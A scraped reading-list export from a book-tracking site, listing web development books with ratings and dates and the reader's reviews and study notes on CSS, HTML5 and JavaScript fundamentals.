Scalability - Automate testing, builds, releases, monitoring. - Scale yourself * Overtime is not scaling * Recovering from burnout can take months - Project management levers: Scope, Time, Cost * When modifying one, the others should recalibrate. * Influencing scope can be the easiest way to balance workload. - "Without data you're just another person with an opinion". - Stay pragmatic using the 80/20 heuristic rule. ...more |
Notes are private!
|
1
|
Jan 25, 2018
|
Feb 24, 2018
|
Sep 26, 2017
|
Paperback
| ||||||||||||||
| B0DT17R82J
| 4.51
| 833
| Jan 01, 2013
| 2013
|
it was amazing
|
None
|
Notes are private!
|
1
|
Nov 04, 2017
|
Dec 17, 2017
|
Sep 12, 2017
|
Paperback
| ||||||||||||||||
| 1491918055
| 9781491918050
| 1491918055
| 4.12
| 1,080
| Jan 01, 2006
| Sep 29, 2015
|
liked it
|
I only read about 200 pages of the book, the content seemed good and concepts are broken down in an easy to grasp way. Then I stopped and plan to go wi I only read about 200 pages of the book, the content seemed good and concepts are broken down in an easy to grasp way. Then I stopped and plan to go with Eric Meyer's CSS: The Definitive Guide, for the following reasons: - I'm not sure why a book this big, which is even about CSS, is written with a sans-serif font instead of a serif one which is less exhausting to read as it helps the human eye follow the sequences of words. - The author repeatedly mentions a version of the phrase: "this is what web designers do nowadays". While, that's not necessarily bad, I'm not trying to do things cause other people do it, I'd just like to do the right thing, perhaps this is what he really means to say but for me it feels he's trying to sound more credible by stating that other experts would do the same things. - I know this book is intended to be for a wider audience included people who know nothing about CSS, but I think the examples are way too granular which just makes the whole book inflated. I mean, if someone decides to read a CSS book, I would expect them to know how to operate a mouse and how to get a context menu with a right click. Examples are bloated with these type of steps directed to an audience with little to no knowledge about computers which in my opinion just get in the way. ...more |
Notes are private!
|
1
|
not set
|
not set
|
Sep 11, 2017
|
Paperback
| ||||||||||||||
| 1449372635
| 9781449372637
| 1449372635
| 4.52
| 413
| Aug 25, 2014
| Jul 28, 2015
|
None
|
Notes are private!
|
0
|
not set
|
not set
|
Sep 11, 2017
|
Paperback
| |||||||||||||||
| 1593274874
| 9781593274870
| 1593274874
| 3.91
| 112
| Apr 22, 2013
| Apr 28, 2013
|
liked it
|
Review Introductory book to shiny new features coming into HTML, CSS and JS as of 2013, at this point it feels pretty dated and some mentioned features Review Introductory book to shiny new features coming into HTML, CSS and JS as of 2013, at this point it feels pretty dated and some mentioned features ended up being implemented in different ways, e.g., the navigator.connection object. It's still a quick, easy and refreshing read, it took me like two days to go through it and I feel like it still provided some value. I picked it up cause wanted a light read, had my expectations clear to prevent feeling disappointed. This book touches on the things you probably stopped using: jQuery, PhoneGap, Appcelerator Titanium, Modernizr, Mustache; the things that became mainstream long ago: HTML input types, media queries, addEventListener(); and the ones you probably never used: HTML semantic tags like article, aside, hgroup. I mean; nav, header and footer are kinda useful but.. what's the difference between article and section anyways? However, it touches on interesting topics like RDFa, landmark roles, SVG and canvas. Notes - Use aria attributes for accessibility, like aria-haspopup="true". - Landmark roles help with backwards compatibility and accessibility for HTML5 tags like role="main". - RDFa is an extension that provides a predefined schema for describing content, eg.: < p property=" p> - Microdata aids with semantics (has a DOM api too), eg.: < p itemscope>I live in < span itemprop='city'>London span>< /p> - You can set the viewport metatag through CSS and modify it for different breakpoints. - Try combining aspect-ratio, DPPX, device-orientation for more custom media queries. - Use the media query DOM api for listening to more custom window resizing events. - Play with img tags object-fill and object-position. - Never set the overall font to a fixed value like 10px, use percentage units so it doesn't override the user's browser setting. - Properties to divide content into columns: columns, column-[count|width|span|rule|gap], break-[before|after|inside]: column. - Flexbox is useful but don't use it for laying out an entire page, use grid layouts instead. - The repeat() function helps defining grid columns. - fr is a new unit that means fraction, i.e., a fraction of the remaining space. - Download script tags without pausing the HTML parser by using: * defer: executes script after HTML is loaded. * async: executes scripts as soon as it's downloaded. - A shim (or shiv) is a piece of code that intercepts a call and provides a layer of abstraction (sounds like a facade). * A polyfill is a specific type of shim that adds support for experimental features to browsers that don't support them. - DOMContentLoaded event triggers when DOM is ready, meaning that the in-memory representation of the HTML is built but resources may still be downloading. - window load event fires when all resources (img, css, js, etc) have finished downloading. - Device APIs: * navigator.geoLocation.getCurrentPosition(). * navigator.geoLocation.watchPosition: returns an id that can be canceled with navigator.geoLocation.clearWatch. * window.addEventListener('deviceorientation', fn) for accelerometer events. * window.navigator.vibrate(). * window.navigator.getBattery(). * navigator.connection. * navigator.getUserMedia() to ask for use of the mic and camera. * element.requestFullScreen(). - SVG are made of geometrical shapes formed with a coordinate system, i.e., images are formed of a bunch of points plotted on a grid and lines drawn between those points. * They're good for illustrations like icons and logos, but not for photographs. - Bitmap graphics are a series of coloured pixels laid out on a grid. * The reason they don't scale well is cause when resizing, the computer applies a resizing algorithm to increase or decrease the sizes of the pixels, adding and removing where necessary, algorithms are usually better at removing than adding. - Linked SVGs (through an img tag src attribute) can't be accessed through CSS or JS. * Can use the embed tag for that. - Can use SVG for sprites by using icons with id or fragments. - Drawing on canvas is bitmap based so not as scalable as SVG. - autofocus attribute, when present multiple times, the first DOM element gets it. - spellcheck and lang attr for spell checking (of course). - You can have form fields outside of the form itself by adding form="form-id" to the fields. - Datalist tag gives suggestions on input fields. - There's a progress tag. - And a meter tag, for like charts maybe. - And an output tag for showing results of stuff like calculations. - Form validation with: required, pattern, novalidate, formnovalidate. - Can access validation through a DOM api: input.willValidate, input.checkValidity(), the invalid event. - Can target validation pseudo classes with CSS (required, optional, valid, invalid, etc). ...more |
Notes are private!
|
1
|
Feb 24, 2018
|
Feb 27, 2018
|
Sep 11, 2017
|
Paperback
| ||||||||||||||
| 0596805527
| 9780596805524
| 0596805527
| 4.09
| 3,148
| 1996
| May 10, 2011
|
really liked it
|
Review
Unopinionated guide of pretty much every JS detail, it doesn't get into many suggestions on JS features to avoid or anything like it, the pu Review Unopinionated guide of pretty much every JS detail, it doesn't get into many suggestions on JS features to avoid or anything like it, the purpose is to explore the complete breadth and depth of the language available to you (up until ES5). I don't think it's a learn-to-program guide to complete beginners, for instance, not like Eloquent JavaScript by Marijn Haverbeke. I feel the book should've covered the event loop which is fundamental in order to completely understand JavaScript's single threaded execution and event processing. I like the scripting, clever-ish style used on the code samples which stretch the dynamic nature of the language, they just keep the book interesting. Notes Statements/Expressions - Variable names cannot start with numbers in order to recognise numbers faster. - Exponential notation: 3e3 = 3 * (10^3), 3e-3 = 3 * (10^-3). - Underflow: when the result of an operation returns a value closer to zero than the smallest representable number. * Result is 0 unless it happens from a negative number, when result is -0 like -Number.MIN_VALUE/2 or -1/INFINITY. - Division by zero = NaN. - Number.MAX_VALUE + 1 = Number.POSITIVE_INFINITY. - NaN is the only value not equal to itself. - -0 == 0 but 1/-0 != 1/0 (cause INFINITY != -INFINITY). - Manipulate monetary values as integer cents to avoid rounding issues. - JS uses UTF-16 for encoding strings. - Strings are sequences of 16-bit values, some unicode chars whose code points don't fit, are stored using two 16-bit values known as a surrogate pair. * String manipulation methods aren't aware of surrogate pairs. - Using . or [] to access props on null or undefined causes a TypeError. - Strings are converted to objects (new String(val)) when accessing its properties, once properties are resolved, the object is discarded, same of Number() and Boolean(). - When comparing objects: object to string conversions use toString() then valueOf, object to number is the opposite, trying the second property method if the first doesn't return a primitive value and then converting to a string or number respectively. - The ==, != and + operators use a special object to primitive conversion, valueOf() first and then toString(), for Dates is the opposite, using the result directly without forcing it to a number or string. - <, -, and other operators, same as above without the Date special case. - An expression is evaluated to produce some value. - A statement is executed to make something happen. * Statements are formed by combining expressions. - Labeled statements have local scope, so they're only visible to inner continue and break statements. - Labeled statements and variables have different namespaces, which means they can use the same identifiers. - If a finally block throws an exception, that one overrides any other exception thrown in the try block. * If it issues a return, it returns normally even if there are still not handled exceptions. - toLocaleString() returns a localised version. - Assignments return the value just assigned: (t = typeof o) !== "object"). Objects - Use getters and setters to make object properties read/write only, and to add custom logic on read/write. - Object.create(MyObject) is the same as "new MyObject()", it creates a new object and assigns the prototype of the passed in constructor as its prototype. - If constructors functions return a primitive value, it is discarded and an object is returned. - Object.defineProperties() creates configurable properties. - Data properties: the normal ones. - Accessor properties: props with getters and/or setters. - Object.getOwnPropertyDescriptor() gets the configuration object. - toString() returns the class of an object: "[object Regexp]". - Calling JSON.stringify() calls the method toJSON() if present on an object. - Object.preventExtensions(): new props cannot be added, check with Object.isExtensible(). - Object.seal(): no props can be added, deleted or configured, existing ones are writable, check with Object.isSealed(). - Object.freeze(): all of the above plus readonly existing own data properties but accessor properties can still be modified, check with Object.isFrozen(). * They all return the object they are passed in Object.seal(), etc). Arrays - var arr = new Array(10) creates a sparse array by just setting the length prop, the elements are not undefined, they don't exist so arr[1] !== undefined. * delete arr[1] creates a sparse array, removes the element without changing the length. * !(index in arr) checks for non-existing elements on sparse arrays. - Array-like objects: have indexed props and a length prop. * Arrays on top of that: always update their length prop when adding/removing elements, length is always equals array max index + one, setting length to a smaller value removes elements, setting it to a grater value creates a sparse array. - Array.isArray() just does arr.toString() === "[object Array]". Functions - Calling functions as functions on non-strict mode: * uses the global scope as the invocation context or if null/undefined is passed to bind, call, apply. * converts primitive values to their object representation if passed to bind, call, apply. - Calling them on strict mode: * defaults invocation context to undefined. * uses null/undefined and don't convert primitives to objects on bind, call, apply. - Parenthesis are optional for constructors without arguments: new Object === new Object(). - Variadic/varargs: function with indefinite arity (multiple arguments). - Remember you can use static props/methods on functions. - toString() normally returns a string representation of the function including the body. - You can create functions with the The Function() constructor. * They don't use lexical scoping, meaning they don't create closures around their parent function and always compile as if they were top-level functions declared in the global scope, so references to parent functions variables will fail. Classes and Modules - Functions get a prototype with a single nonenumerable property: constructor. - For all functions fn the prototype constructor points back to them: fn.prototype.constructor === fn. * So objects created by these functions inherit a constructor which points back to the function that created them. - Instance fields: are created inside the function (this.val = some_argument). - Inherited fields/methods: are added to the prototype. - Static fields/methods: are added to the function (myFn.staticMethod = ...). - instanceOf returns true if the function is part of the object's prototype chain. * One shortcoming is that it won't work if there are multiple execution contexts like different iframes on a browser cause each frame will have their own version of the objects, i.e. not the same objects. * So maybe using myObject.toString() which returns "[object myClass]" is more reliable than instanceOf or checking equality agains the constructor function. * Combine toString() and valueOf() to create interesting enumerated types. Regular Expressions - [\b] a literal backspace. - \b is a word boundary. - [^...] any char not between the brackets. - (...) capturing group. - \n refer to capturing groups. - (?: ...) group only without capturing. - (?=p) positive lookahead, require that following characters match "p" but don't include them in the match. - (?!p) negative lookahead. - string.search() same as indexOf() but with regex. - string.split() accepts regex. - /.../.exec() keeps state and updates a lastIndex prop every time is called, reset the prop to 0 to start from the beginning. JS Subsets and Extensions - Describes JS The Good Parts - It's interesting how this 7-8 year old book is describing ES6, 7 features like: cost, let, destructuring, iterators, generators. As being already included in Mozilla's SpiderMonkey JS engine. - Rhino is a JS implementation written on Java, it allows access to Java APIs in JS. Client-Side JS - You can embed JS in a page using the script tag, html event handlers, javascript: URLs. - . - Use arbitrary type="" attributes in script tags to embed content, browsers won't attempt to parse tags with not recognised types. - Security * Opening new windows can only happen in most cases in response to user input like click. * JS code can close windows it opened itself but not others without user confirmation. * The value prop of FileUpload elements cannot be set. * Same origin is defined as the protocol, host and port of a document. * Same origin applies for the origin of the document where the script is loaded and not the src attr of the script itself, i.e. if a host A includes a script hosted by host B, that script has full access to document B (the one who loaded it) and not document A (the one who hosts it). * It's the reason you can load scripts hosted by, let's say, a CDN into your page. * You can relax the same-origin policy by setting the domain prop of the Document to something like site.com rather than subdomain.site.com, for all documents/windows you need (e.g. iframes). * Can use the postMessage() method on window to communicate between fames. * Access-Control- Allow-Origin for relaxing same-origin policy. The Window Object - window.location === document.location - document.URL is the url of the document when it first loaded, not including hash changes. - decodeURIComponent() to decode query strings or other URL parts. - location.assign() loads a specific page, .replace() replaces the browser history entry. - Cause page updates: * location = "next-page.com" (relative or absolute). * location = "#top". * location.search = "?abc=123". - history.back(), .forward(), .go(). - You can access the history size (history.length) but not the actual URLs. - Using .open() and .write() on an iframe can be a way of saving history state on SPA's without modifying the actual document. - screen.availHeight and width have the available size, not including the task bar, etc. - window.onerror = (msg, url, line) => {} for capturing unhandled errors, holdover from when JS didn't include try/catch, must return true/false to signal handling, otherwise error will get to the console. - HTML elements with an id attr get added to the global object if there isn't a prop or global variable with the same name, same for name attr on elements that support it (form, form fields, img, iframe), holdover from early JS days. - Scripts can interact with multiple windows opened by them (subject to same origin policy). * window.open().opener contains the opener if opened by .open(). - Accessing frames returns the frame window object: * window.frames['f1'] / window.frames.f1 / window.f1 / window[1]. - What we call window is actually a WindowProxy that refers to the real window object. Scripting Documents - images, forms, links; are props of document, holdover from early days containing HTMLCollection of those element types (only anchor tags with href). - document.documentElement refers to the root . - HTMLCollection can be indexed with string names as well as numbers, other than that is pretty much similar to NodeList. * They have an item() and namedItem() props, not much useful in JS cause of indexed prop access. * They are live collections, except NodeList returned by querySelectorAll(). - Some browsers won't accept :link or :visited selectors on elements as this exposes browser history information. - element.children only includes element nodes, childNodes includes also text and comments. * Can use nodeType to distinguish. * firstChild, lastChild, nextSibling.. firstElementChild, lastElementChild, nextElementSibling. - outerHTML. - element.insetAdjacentHTML() prob not supported in Firefox. - innerText does not work on script tags, textContent does. * Treats some table elements as read-only (table, tbody, tr). * omits extraneous whitespace and tries to keep table formatting. - Calling appendChild(fr) passing a DocumentFragment, copies all fragment children and leaves it empty. - Viewport coordinates refer to the size of the visible document (window.innerHeight). * Document coords also include the scroll position (documentElement.offsetHeight). - getClientRect() for inline elements that span multiple lines, getBoundingClientRect() otherwise. * they return viewport coords. - window[pageXOffset | pageYOffset] or document.documentElement[scrollLeft | scrollTop]. - document.elementFromPoint(). * Mouse events already contain target element. - window.scrollTo() === .scroll(x, y /* document coords */). - window.scrollBy(). - element.scrollIntoView(), similar behaviour to window.location.hash. - element.offsetWidth and height don't include margins. * .offsetLeft and top are relative to positioned parents, to get the exact position need to add up the parent's offset recursively. * clientWidth and height is the content size including padding, same as scrollWidth when there's no overflow, zero for inline elements. * clientLeft and top is the border size. - Calling form.submit() does not trigger the onsubmit handler. - document.referrer: link to the page who brought you here (same as HTTP referrer header). * lastModified, domain, cookie, title. - document.designMode = 'on' to set the whole document to 'contentditatble'. * document.execCommand(): runs edit commands on editable elements just like a rich text editor. Scripting CSS - el.style.cssText and el.setAttribute('style', val). - e.style only has inline style attribute, window.getComputedStyle(el, null) for all styles. * relative values (percent, points) are converted to pixels. * colours to rgb(), rgba(). * no shorthand properties. - document.styleSheets[i] * .disabled = true. * .cssRules array contains also @import and @page directives. Handling Events - Return value is only significant on handlers registered as properties like onbeforeunload. - Event propagation phases: * 1st: capturing. * 2nd: trigger target event handlers. * 3rd: bubbling. * readystatechange is invoked right before window.load so maybe DOMContentLoaded is better (invoked when DOM is parsed and deferred scripts complete). Scripted HTTP - Ajax could be done by setting the src of an img tag and passing query strings which triggers a GET, the server must respond with an image, even a 1x1 pixels (web bugs). * Set the src of a hidden iframe, traversing iframes is subject to same-origin policy. * Set the src of a script tag, which is not subject to same-origin and can do cross-domain communication, data returned is JSON-encoded. ^ Called JSONP: cause your service must send a padded-JSON response, i.e. passing the response as the argument to the passed callback which is then executed when the script downloads. - Content-Length, Date, Referrer, User-Agent headers are added automatically by XHR. * as well as handling cookies, charset, encoding, connection lifetime. - XHR request construction must follow an order: * req.open(). * req.setRequestHeader(). * req.send(). - req.responseText for text MIME types. * req.responseXML for parsed, traversable HTML documents. * can override response MIME types and charset to prevent incorrect parsing. * FormData() can be used to transfer multipart/form-data which can include multiple file uploads and other data types. - CORS has to be supported by the browser. * XHR doesn't send usernames, pwd, cookies or HTTP authentication tokens as part of CORS requests. - EventSource API for server sent events. Client-Side Storage - Cookies, old API designed for server-side scripting, they're appended to every HTTP request, tend to store small pieces of data, implemented as an extension of HTTP. * Cookie in computing: small chunk of privileged or secret data. * Default lifetime is the browser process (not the tab), can be changed using max-age. * Default scope includes url path as well, can be changed to whole site by path='/'. * Values can't have commas, semicolons, spaces, store encoded with encodeURIComponent(). * All cookies are stored as a string in document.cookie divided by semicolons. - Web Storage is newer, easier API, used to enhance user experience. * shared by same-origin (protocol, host, port). * not shared among browser vendors. * can trigger change events. - Cache Manifest: store the whole app locally. - localStorage is permanent. - sessionStorage has tab-scope also, dies when the tab is closed (may still be there is same tab is reopened). HTML5 APIs - History can hold state, including types like imageData, date, file. * It takes in a Structured Clone as state param (deep copy or clone). - postMessage() allow cross-origin communication between windows. - WebWorker can receive a structured clone as well. * Use the synchronous self.importScripts() inside workers. - Typed arrays hold only numbers and are way faster than normal arrays. * They're views of an underlying ArrayBuffer. * Use the DataView type to modify ArrayBuffer. - URL.createObjectURL() for BLOB, File, MediaStream. * URL.revokeObjectURL() to allow for garbage collection. ...more |
Notes are private!
|
2
|
Feb 27, 2018
not set
|
Mar 18, 2018
not set
|
Sep 11, 2017
|
Paperback
| ||||||||||||||
| B0DTS5QYDN
| 3.82
| 534
| Jul 17, 2011
| May 01, 2012
|
really liked it
|
None
|
Notes are private!
|
1
|
Jan 2015
|
Apr 2017
|
Sep 11, 2017
|
ebook
| ||||||||||||||||
| 9781593275846
| 1593275846
| 4.14
| 3,160
| Nov 15, 2010
| Nov 2014
|
it was amazing
|
None
|
Notes are private!
|
1
|
Jan 2015
|
May 2017
|
Sep 11, 2017
|
Paperback
| |||||||||||||||
| B0DM1WY6JM
| 4.22
| 1,248
| 2008
| Sep 10, 2016
|
it was amazing
|
One of the best books to turn your JS knowledge from intermediate to advanced, I loved every chapter. Concepts are explained in such a granular way th
One of the best books to turn your JS knowledge from intermediate to advanced, I loved every chapter. Concepts are explained in such a granular way that even if you haven't read about it much before hand, you'll be able to get a grasp of it and follow along.
...more
|
Notes are private!
|
1
|
Jul 18, 2017
|
Aug 21, 2017
|
Sep 11, 2017
|
ebook
| ||||||||||||||||
| 0321812182
| 9780321812186
| 0321812182
| 4.30
| 786
| Nov 12, 2012
| Nov 26, 2012
|
it was amazing
|
Nice and easy read, I loved this book. If you're beginning with JavaScript, you'll find the concepts will really help you master the language, but eve
Nice and easy read, I loved this book. If you're beginning with JavaScript, you'll find the concepts will really help you master the language, but even if you're experienced, there are most likely stuff here you didn't know before, and in some parts you'll find yourself saying: "I knew that worked like that, but didn't know why!". This book is a must read for every JS developer out there.
...more
|
Notes are private!
|
1
|
Jul 11, 2017
|
Jul 17, 2017
|
Sep 11, 2017
|
Paperback
|
Loading...
19 of 19 loaded
